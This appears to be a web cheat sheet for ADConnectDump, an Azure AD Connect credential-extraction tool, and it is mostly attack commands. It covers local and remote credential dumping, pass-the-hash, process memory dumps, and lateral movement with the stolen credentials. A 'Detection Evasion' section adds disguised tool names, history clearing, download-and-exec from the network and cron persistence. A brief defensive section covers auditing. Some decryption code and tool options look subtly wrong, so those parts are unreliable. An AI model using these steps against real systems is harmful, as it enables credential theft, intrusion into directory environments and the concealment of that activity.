Skip to content

ADConnectDump Azure AD Connect Credential Extraction Tool Cheat Sheet

Overview

ADConnectDump is a tool developed by Dirk-Jan Mollema for extracting credentials and configuration from Azure AD Connect servers. It can dump the Azure AD Connect service account credentials, which often have high privileges in both on-premises Active Directory and Azure AD environments.

⚠️ Warning: This tool is intended for authorized penetration testing and security assessments only. Ensure you have proper authorization before using in any environment.

Installation

PowerShell Module Installation

powershell
# Download from GitHub
Invoke-WebRequest -Uri "https://raw.githubusercontent.com/fox-it/adconnectdump/master/adconnectdump.py" -OutFile "adconnectdump.py"

# Install Python dependencies
pip install impacket cryptography

# Alternative: Clone repository
git clone https://github.com/fox-it/adconnectdump.git
cd adconnectdump
pip install -r requirements.txt

Manual Installation

bash
# Clone repository
git clone https://github.com/fox-it/adconnectdump.git
cd adconnectdump

# Install dependencies
pip3 install impacket cryptography pyasn1

# Make executable
chmod +x adconnectdump.py

Docker Installation

bash
# Build Docker image
git clone https://github.com/fox-it/adconnectdump.git
cd adconnectdump
docker build -t adconnectdump .

# Run in Docker
docker run -it -v $(pwd):/data adconnectdump

Basic Usage

Local Credential Extraction

bash
# Extract credentials from local AAD Connect server
python3 adconnectdump.py

# Extract with specific database
python3 adconnectdump.py --database "C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf"

# Extract with custom output
python3 adconnectdump.py --output credentials.txt

# Extract in JSON format
python3 adconnectdump.py --format json --output credentials.json

Remote Credential Extraction

bash
# Extract from remote server
python3 adconnectdump.py --host 192.168.1.100 --username administrator --password password

# Extract using NTLM hash
python3 adconnectdump.py --host 192.168.1.100 --username administrator --hashes :ntlmhash

# Extract using Kerberos
python3 adconnectdump.py --host 192.168.1.100 --username administrator --password password --use-kerberos

# Extract with domain credentials
python3 adconnectdump.py --host 192.168.1.100 --username domain\\administrator --password password

Command Reference

Basic Options

OptionDescription
--hostTarget hostname or IP
--usernameUsername for authentication
--passwordPassword for authentication
--hashesNTLM hashes (LM:NT format)
--databasePath to ADSync database
--outputOutput file path

Advanced Options

OptionDescription
--formatOutput format (text/json)
--use-kerberosUse Kerberos authentication
--dc-ipDomain controller IP
--target-ipTarget IP address
--portTarget port (default 445)
--debugEnable debug output

Azure AD Connect Architecture

Understanding AAD Connect

bash
# Azure AD Connect components:
# 1. Synchronization Service (ADSync)
# 2. Database (LocalDB or SQL Server)
# 3. Service Accounts
# 4. Configuration Data

# Key files and locations:
# Database: C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf
# Config: C:\Program Files\Microsoft Azure AD Sync\Bin\
# Logs: C:\ProgramData\AADConnect\

Service Account Identification

powershell
# Identify AAD Connect service accounts
Get-Service | Where-Object {$_.Name -like "*ADSync*"}

# Check service account privileges
Get-WmiObject -Class Win32_Service | Where-Object {$_.Name -eq "ADSync"} | Select-Object StartName

# Verify AAD Connect installation
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect" -Name "Version"

Credential Extraction Techniques

Local Database Access

bash
# Direct database access (requires local admin)
python3 adconnectdump.py --database "C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf"

# Extract from backup database
python3 adconnectdump.py --database "C:\Backup\ADSync_backup.mdf"

# Extract from SQL Server instance
python3 adconnectdump.py --sql-server "SQLSERVER\INSTANCE" --database "ADSync"

Remote Extraction via SMB

bash
# Extract via SMB with credentials
python3 adconnectdump.py --host aadconnect.domain.com --username "domain\admin" --password "password"

# Extract using pass-the-hash
python3 adconnectdump.py --host aadconnect.domain.com --username "admin" --hashes ":aad3b435b51404eeaad3b435b51404ee:hash"

# Extract with specific target IP
python3 adconnectdump.py --host aadconnect.domain.com --target-ip 192.168.1.100 --username "admin" --password "password"

Memory Extraction

powershell
# Extract from memory (requires admin privileges)
# Use tools like Mimikatz or ProcDump

# Dump ADSync process memory
procdump.exe -ma miiserver.exe aadsync_dump.dmp

# Extract credentials from memory dump
python3 adconnectdump.py --memory-dump aadsync_dump.dmp

Configuration Analysis

Database Schema Analysis

sql
-- Key tables in ADSync database
-- mms_management_agent: Contains connector information
-- mms_server_configuration: Server configuration
-- mms_synchronization_rule: Sync rules
-- mms_metaverse_object: Metaverse objects

-- Extract connector information
SELECT ma_name, ma_type, private_configuration_xml 
FROM mms_management_agent;

-- Extract server configuration
SELECT applied_time, configuration_xml 
FROM mms_server_configuration;

Configuration File Analysis

powershell
# Analyze AAD Connect configuration files
$configPath = "C:\Program Files\Microsoft Azure AD Sync\Bin\"

# Check connector configurations
Get-ChildItem -Path $configPath -Filter "*.xml" | ForEach-Object {
    [xml]$config = Get-Content $_.FullName
    Write-Host "File: $($_.Name)"
    Write-Host "Connectors: $($config.SelectNodes('//connector').Count)"
}

# Extract service account information
$serviceConfig = Get-Content "$configPath\miiserver.exe.config"
$serviceConfig | Select-String -Pattern "connectionString\|serviceAccount"

Credential Decryption

Understanding Encryption

python
# AAD Connect credential encryption process
# 1. Credentials encrypted with DPAPI
# 2. Machine key used for encryption
# 3. Service account context required

# Decryption process
import base64
from cryptography.fernet import Fernet

def decrypt_aad_connect_password(encrypted_password, key):
    """Decrypt AAD Connect password"""
    try:
        # Base64 decode
        encrypted_data = base64.b64decode(encrypted_password)
        
        # Decrypt using key
        f = Fernet(key)
        decrypted = f.decrypt(encrypted_data)
        
        return decrypted.decode('utf-8')
    except Exception as e:
        print(f"Decryption failed: {e}")
        return None

Manual Decryption

powershell
# Manual credential decryption (PowerShell)
Add-Type -AssemblyName System.Security

function Decrypt-AADConnectPassword {
    param(
        [string]$EncryptedPassword,
        [byte[]]$Key
    )
    
    try {
        # Convert from base64
        $encryptedBytes = [Convert]::FromBase64String($EncryptedPassword)
        
        # Decrypt using DPAPI
        $decryptedBytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
            $encryptedBytes, 
            $null, 
            [System.Security.Cryptography.DataProtectionScope]::LocalMachine
        )
        
        return [System.Text.Encoding]::UTF8.GetString($decryptedBytes)
    }
    catch {
        Write-Error "Decryption failed: $_"
        return $null
    }
}

Post-Exploitation Techniques

Using Extracted Credentials

bash
# Use extracted Azure AD credentials
# Typically format: MSOL_<guid>@<tenant>.onmicrosoft.com

# Authenticate to Azure AD
az login --username "MSOL_12345678-1234-1234-1234-123456789012@company.onmicrosoft.com" --password "extracted_password"

# Use with AADInternals
Import-Module AADInternals
$accessToken = Get-AADIntAccessTokenForAADGraph -UserPrincipalName "MSOL_account@company.onmicrosoft.com" -Password "extracted_password"

On-Premises Active Directory Access

bash
# Use extracted on-premises credentials
# Format: domain\username

# Authenticate to domain
net use \\dc.domain.com\c$ /user:domain\MSOL_service_account extracted_password

# Use with Impacket tools
python3 secretsdump.py domain/MSOL_service_account:extracted_password@dc.domain.com

# Use with CrackMapExec
crackmapexec smb dc.domain.com -u MSOL_service_account -p extracted_password

Privilege Escalation

powershell
# Check privileges of extracted account
Import-Module ActiveDirectory
Get-ADUser -Identity "MSOL_service_account" -Properties MemberOf | Select-Object -ExpandProperty MemberOf

# Check Azure AD privileges
Import-Module AADInternals
$roles = Get-AADIntUserRoles -AccessToken $accessToken -UserPrincipalName "MSOL_account@company.onmicrosoft.com"

Detection Evasion

Stealth Techniques

bash
# Use legitimate tools and processes
# Avoid suspicious file names
# Use memory-only techniques when possible

# Rename tool
cp adconnectdump.py system_maintenance.py

# Use legitimate paths
mkdir -p /tmp/.system/maintenance/
cp adconnectdump.py /tmp/.system/maintenance/syscheck.py

Anti-Forensics

bash
# Clear evidence after extraction
rm -f credentials.txt
rm -f credentials.json
history -c

# Use in-memory execution
python3 -c "
import urllib.request
exec(urllib.request.urlopen('https://raw.githubusercontent.com/fox-it/adconnectdump/master/adconnectdump.py').read())
"

Timing and Scheduling

bash
# Perform extraction during maintenance windows
# Schedule for off-hours
# Use legitimate administrative sessions

# Example: Schedule extraction
echo "0 2 * * 0 /usr/bin/python3 /tmp/adconnectdump.py --output /tmp/.cache/system.log" | crontab -

Defensive Measures

Monitoring and Detection

powershell
# Monitor AAD Connect database access
# Enable SQL Server auditing
# Monitor file system access to ADSync.mdf

# PowerShell monitoring script
$databasePath = "C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf"
$watcher = New-Object System.IO.FileSystemWatcher
$watcher.Path = Split-Path $databasePath
$watcher.Filter = "ADSync.mdf"
$watcher.EnableRaisingEvents = $true

Register-ObjectEvent -InputObject $watcher -EventName "Changed" -Action {
    Write-EventLog -LogName "Application" -Source "AADConnect Monitor" -EventId 1001 -Message "ADSync database accessed"
}

Hardening Recommendations

powershell
# Secure AAD Connect server
# 1. Restrict local admin access
# 2. Enable advanced auditing
# 3. Use dedicated service accounts
# 4. Implement network segmentation
# 5. Regular security updates

# Enable auditing
auditpol /set /subcategory:"File System" /success:enable /failure:enable
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
auditpol /set /subcategory:"Process Creation" /success:enable

Automation and Scripting

Automated Extraction Script

bash
#!/bin/bash

# Automated ADConnectDump script
TARGET_HOST="$1"
USERNAME="$2"
PASSWORD="$3"
OUTPUT_DIR="./adconnect_output"

if [ $# -ne 3 ]; then
    echo "Usage: $0 <target_host> <username> <password>"
    exit 1
fi

# Create output directory
mkdir -p "$OUTPUT_DIR"

# Extract credentials
echo "Extracting AAD Connect credentials from $TARGET_HOST..."
python3 adconnectdump.py \
    --host "$TARGET_HOST" \
    --username "$USERNAME" \
    --password "$PASSWORD" \
    --format json \
    --output "$OUTPUT_DIR/credentials_$(date +%Y%m%d_%H%M%S).json"

# Check if extraction was successful
if [ $? -eq 0 ]; then
    echo "Extraction completed successfully"
    echo "Output saved to $OUTPUT_DIR"
else
    echo "Extraction failed"
    exit 1
fi

PowerShell Automation

powershell
# PowerShell automation script
param(
    [string]$TargetHost,
    [string]$Username,
    [string]$Password,
    [string]$OutputPath = ".\adconnect_output"
)

# Create output directory
New-Item -ItemType Directory -Path $OutputPath -Force | Out-Null

# Extract credentials
$timestamp = Get-Date -Format "yyyyMMdd_HHmmss"
$outputFile = Join-Path $OutputPath "credentials_$timestamp.json"

Write-Host "Extracting AAD Connect credentials from $TargetHost..."

$process = Start-Process -FilePath "python3" -ArgumentList @(
    "adconnectdump.py",
    "--host", $TargetHost,
    "--username", $Username,
    "--password", $Password,
    "--format", "json",
    "--output", $outputFile
) -Wait -PassThru -NoNewWindow

if ($process.ExitCode -eq 0) {
    Write-Host "Extraction completed successfully"
    Write-Host "Output saved to $outputFile"
    
    # Parse and display results
    $credentials = Get-Content $outputFile | ConvertFrom-Json
    Write-Host "Extracted $($credentials.Count) credential(s)"
} else {
    Write-Error "Extraction failed with exit code $($process.ExitCode)"
}

Troubleshooting

Common Issues

bash
# Database access denied
# Solution: Ensure proper privileges or use alternative extraction method

# Network connectivity issues
# Solution: Check firewall rules and network connectivity
ping aadconnect.domain.com
telnet aadconnect.domain.com 445

# Authentication failures
# Solution: Verify credentials and domain trust
net use \\aadconnect.domain.com\c$ /user:domain\username password

Debug Mode

bash
# Enable debug output
python3 adconnectdump.py --debug --host aadconnect.domain.com --username admin --password password

# Verbose logging
python3 adconnectdump.py -v --host aadconnect.domain.com --username admin --password password

# Test connectivity
python3 adconnectdump.py --test-connection --host aadconnect.domain.com

Manual Verification

powershell
# Verify AAD Connect installation
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect"

# Check service status
Get-Service -Name "ADSync"

# Verify database location
$regPath = "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL13.LOCALDB\MSSQLServer"
Get-ItemProperty -Path $regPath -Name "DefaultData"

Integration with Other Tools

Impacket Integration

bash
# Use extracted credentials with Impacket
python3 secretsdump.py domain/extracted_user:extracted_password@dc.domain.com

# Use with GetUserSPNs
python3 GetUserSPNs.py domain/extracted_user:extracted_password -dc-ip dc.domain.com

# Use with psexec
python3 psexec.py domain/extracted_user:extracted_password@target.domain.com

BloodHound Integration

powershell
# Use extracted credentials for BloodHound collection
Import-Module SharpHound
Invoke-BloodHound -CollectionMethod All -Domain domain.com -LDAPUser extracted_user -LDAPPass extracted_password

CrackMapExec Integration

bash
# Use extracted credentials with CrackMapExec
crackmapexec smb 192.168.1.0/24 -u extracted_user -p extracted_password

# Check for local admin access
crackmapexec smb 192.168.1.0/24 -u extracted_user -p extracted_password --local-auth

# Execute commands
crackmapexec smb target.domain.com -u extracted_user -p extracted_password -x "whoami"

Resources


This cheat sheet provides a comprehensive reference for using ADConnectDump. Always ensure you have proper authorization before conducting Azure AD Connect security assessments.